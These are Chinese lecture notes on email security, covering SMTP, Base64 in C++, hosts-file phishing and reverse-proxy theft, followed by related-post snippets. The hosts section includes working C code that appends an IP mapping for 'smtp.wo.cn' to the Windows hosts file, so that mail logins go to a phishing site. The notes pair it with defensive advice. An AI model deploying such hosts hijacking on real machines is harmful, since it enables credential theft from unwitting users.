传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控

一、SMTP协议

SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。

SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。

SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。

SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。

跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。

当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。

二、Base64编码

Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。

Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。

// Base64.h: interface for the CBase64 class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_

#include <string>
#include <stdio.h>
#include <string.h>

using namespace std;

class CBase64
{
public:
    CBase64();
    virtual ~CBase64();
    virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
	virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64

protected:
    unsigned char encodeBuf[3000];
    char  Base2Chr( char n )
    {
        n &= 0x3F;

	    return m_sBase64Alphabet[(int)n];

        if ( n < 26 )
            return ( char )( n + 'A' );
        else if ( n < 52 )
            return ( char )( n - 26 + 'a' );
        else if ( n < 62 )
            return ( char )( n - 52 + '0' );
        else if ( n == 62 )
            return '+';
        else
            return '/';
    }

    unsigned char Chr2Base( char c )
    {
        if ( c >= 'A' && c <= 'Z' )
            return ( unsigned char )( c - 'A' );
        else if ( c >= 'a' && c <= 'z' )
            return ( unsigned char )( c - 'a' + 26 );
        else if ( c >= '0' && c <= '9' )
            return ( unsigned char )( c - '0' + 52 );
        else if ( c == '+' )
            return 62;
        else if ( c == '/' )
            return 63;
        else
            return 64;  //  N^P'WV7{
    }
    static std::string m_sBase64Alphabet;
};

//modify end

#endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
// Base64.cpp: implementation of the CBase64 class.
#define _CRT_SECURE_NO_WARNINGS
#include "Base64.h"
// The 7-bit alphabet used to encode binary information

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CBase64::CBase64()
{
	memset(encodeBuf, 0, sizeof(encodeBuf));
}

CBase64::~CBase64()
{

}

std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );

int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
{
    unsigned char * p = (unsigned char *)szOutput;
    int             i, n = strlen( szDecoding );
    unsigned char   c, t;

    for ( i = 0; i < n; i++ )
    {
        if ( *szDecoding == '=' )
            break;
        do {
            if ( *szDecoding )
                   c = Chr2Base( *szDecoding++ );
            else
                c = 65;  //  WV7{4.=aJx
        } while ( c == 64 );  //  Lx9}N^P'WV7{#,Hg;X355H
        if ( c == 65 )
            break;
        switch ( i % 4 )
        {
        case 0 :
            t = c << 2;
            break;
        case 1 :
            *p++ = ( unsigned char )( t | ( c >> 4 ) );
            t = ( unsigned char )( c << 4 );
            break;
        case 2 :
            *p++ = ( unsigned char )( t | ( c >> 2 ) );
            t = ( unsigned char )( c << 6 );
            break;
        case 3 :
            *p++ = ( unsigned char )( t | c );
            break;
        }
    }
    //(char *)szOutput;

    return ( (char*)p - szOutput );
}

int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
{
    std::string sOutput = string("");
    int nIndex = 0;
    //unsigned char cTemp1[4096];
    memset(encodeBuf, 0, sizeof(encodeBuf));

    if (!szEncoding)
        return 0;
    /*else
        (unsigned char*)szEncoding;*/

    memcpy(encodeBuf, szEncoding, nSize);

    unsigned char *cTemp = encodeBuf;

    unsigned char t;

    for ( nIndex = 0; nIndex < nSize; nIndex++ )
    {
        switch ( nIndex % 3 )
        {
        case 0 :
            sOutput += Base2Chr( *cTemp >> 2 );
            t = ( *cTemp << 4 ) & 0x3F;
            cTemp++;
            break;
        case 1 :
            sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
            t = ( *cTemp << 2 ) & 0x3F;
            cTemp++;
            break;
        case 2 :
            sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
            sOutput += Base2Chr( *cTemp & 0x3F );
            cTemp++;
            break;
        }
    }
    if ( nSize % 3 != 0 )
    {
        sOutput += Base2Chr( t );
        if ( nSize % 3 == 1 )
            sOutput += '=';
        sOutput += '=';
    }

	strcpy(szOutput, sOutput.c_str());
    return sOutput.length();
}
#include <stdio.h>
#include <string.h>
#include "Base64.h"

int main01()//这个是将ascii转化为base64的代码
{
	CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
	char base64[100] = { 0 };
	char ascii[100] = "18513105526";
	base.Encode(ascii, strlen(ascii), base64);
	printf("%s\n", base64);
	return 0;
}

int main()//这个是将base64转化为ascii的代码
{
	CBase64 base;//创建CBase64类的一个实例,也叫一个对象。
	char base64[100] = "UGFzc3dvcmQ6";
	char ascii[100] = { 0 };
	base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
	printf("%s\n", ascii);
	return 0;
}

三、邮箱账户的破解与防护

1)hosts欺骗与钓鱼站点

钓鱼站点的实现以及怎样防范

钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点

钓鱼站点把用户输入的信息都截获了

钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?

Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系

我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点

Hosts文件里

123.57.211.212 mail.wo.cn

怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,

不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma warning(disable:4996)//屏蔽vs 4996这个错误信息

int setHosts(const char *IP, const char *domain)//改动hosts文件
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹
	char path[1024] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "\n%s %s", IP, domain);
	FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
	if (p)
	{
		fputs(content, p);//将ip与域名的相应关系写入hosts文件
		fclose(p);
		return 0;//代表写入成功
	}
	return -1;// 写入hosts文件失败
}

int main()
{
	int rc = setHosts("123.57.211.212", "smtp.wo.cn");
	printf("rc = %d\n", rc);
	return 0;
}

2)反向代理

怎样通过反向代理来窃取password。以及怎样防范

通过反向代理,差点儿能够无缝的窃取client的非常多信息

一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。

为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的

切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。

邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。

时间: 2024-10-10 00:46:17

传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控的相关文章

传智播客c/c++公开课学习笔记--Linux网络流媒体服务器的核心代码揭秘

Xinetd 从守护进程的概念可以看出,对于系统所要通过的每一种服务,都必须运行一个监听某个端口连接所发生的守护进程, 这通常意味着资源浪费. 为了解决这个问题,Linux引进了"网络守护进程服务程序"的概念.xinted(extended InterNET daemon) xinetd同时监听多个指定的端口,接受用户请求时,根据请求端口,启动不同的网络服务进程来处理这些用户请求. 可以把xinetd看做一个管理启动服务的管理服务器,它决定把一个客户请求交给哪个程序处理,然后启动相应的

传智播客c/c++公开课学习笔记--黑客代码分析与预防

黑客代码分析与预防 笔记 [课程简介] C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒.木马也都是用C/C++实现的.课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护. [课程知识点] 1.木马入侵系统的方式: 2.木马入侵到宿主目标后的关键行为分析: 3.可信任端口以及端口扫描技术: 4.远程控制的实现代码实现: 5.恶意代码中使用TCP.UDP协议与防火墙穿

【传智播客郑州校区】数据库MYSQL笔记详解

第1章 数据库1.1 数据库概述l 什么是数据库数据库就是存储数据的仓库,其本质是一个文件系统,数据按照特定的格式将数据存储起来,用户可以对数据库中的数据进行增加,修改,删除及查询操作.l 什么是数据库管理系统数据库管理系统(DataBase Management System,DBMS):指一种操作和管理数据库的大型软件,用于建立.使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性.用户通过数据库管理系统访问数据库中表内的数据.l 常见的数据库管理系统MYSQL :开源

传智播客成都校区php学科收费标准

继传智播客成都校区php第一期班圆满开班,说明php的火爆一点儿也不亚于java!经传智播客商讨决定,传智播客成都校区php学科收费标准如下: 采用以下任何一种方式都可以享受优惠价: 一.自带笔记本的同学直接享受优惠价,如果是通过自带笔记本享受的优惠价,公司不再为其提供电脑,如果以后需要公司提供电脑,需全额退还优惠差价. 二.在博客上写够15篇与传智播客有关的学习生活日记,并且通过了我们的审核也能享受优惠价. 注:您可以在入学前写学习日记,也可以在入学后写学习日记(生活日记需与传智播客有关).

揭秘传智播客班级毕业薪资超7k的内幕系列 之三 ----国企慕名而来,将未毕业学员“抢走”,传智播客又一次定义“被就业”

前面文章提及Java六期学员张同学提前就业某国企,入职薪资6.3k,各种福利齐全.作为班级首位就业同学,他的就业也成为了班级其它同学就业的风向标.但事实上张同学的就业属于"被就业",传智播客在这个故事里赋予其新的含义. 要理解"被就业"在这里的含义.我们须要先了解张同学的就业故事. 5月中旬某天,传智播客咨询专员给就业老师发了个企业求合作的联系信息.就业老师遂联系该企业,了解到该企业着急招聘Java开发project师,然而当时最快毕业的班级的毕业时间也得在2个月后

传智播客

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-cn"> <head> <met

《传智播客网页平面设计视频教程》

<传智播客网页平面设计视频教程>包括:网页设计制作平面设计 UI设计FLASH交互动画是传智播客最新传智播客网页美工PS平面设计培训学习视频教程全套视频里面有上课所有用到的PPT+代码等. <传智播客网页平面设计视频教程>下载地址:    www.dwz.cn/owvZ4 1:网页设计制作掌握页面设计制作的整体流程可以独立完成网页设计与制作 网页版式设计与配色技巧(8day)视频教程 HTML+Css(14day) 视频教程 html核心技术课程:认识什么是HTML. 标记的语法.

揭秘传智播客班级毕业薪资超7k的内幕系列之四----汽车工的华丽转身

---不是本科毕业?不是计算机专业?做过电子厂?做过数控?看传智中专生侃项目,"侃晕"项目经理.从流水线上华丽转身,8.5k高薪再就业 系列三承诺写写上海传智Java六期提前就业的一位同学,为什么写他?由于从他身上我看到了非常多正能量,看到了一个不具备从事IT业基础知识的屌丝怎样不甘于现状怀揣改变生活,提升职业层次的梦想.经历层层"险关",终于选择传智.学有所成,华丽转身,以8.5k较高薪资就业,让"梦想照进现实": 首先介绍下该同学,小陈是中专

传智播客WPF第三季的基础教程

本来想上传到csdn进行资源共享的,无奈的发现,csdn现在越来越恶心了,竟然不能自己定积分了,也不知道是根据什么来定的资源的价值 反正是没发自定义下载积分了,还是回归博客园的怀抱吧 最近公司在转型到wpf,所以找些资料来学习下,作为传智播客的公开课的受益者,首先想到的就是查一下传智播客有没有视频教程----结果就这到了这个教程 不负有心人啊,找到了免费的资源,现在分享出来. 链接: https://pan.baidu.com/s/1-Y0KnsVcTF76D5drIdPR6A 提取码: dtb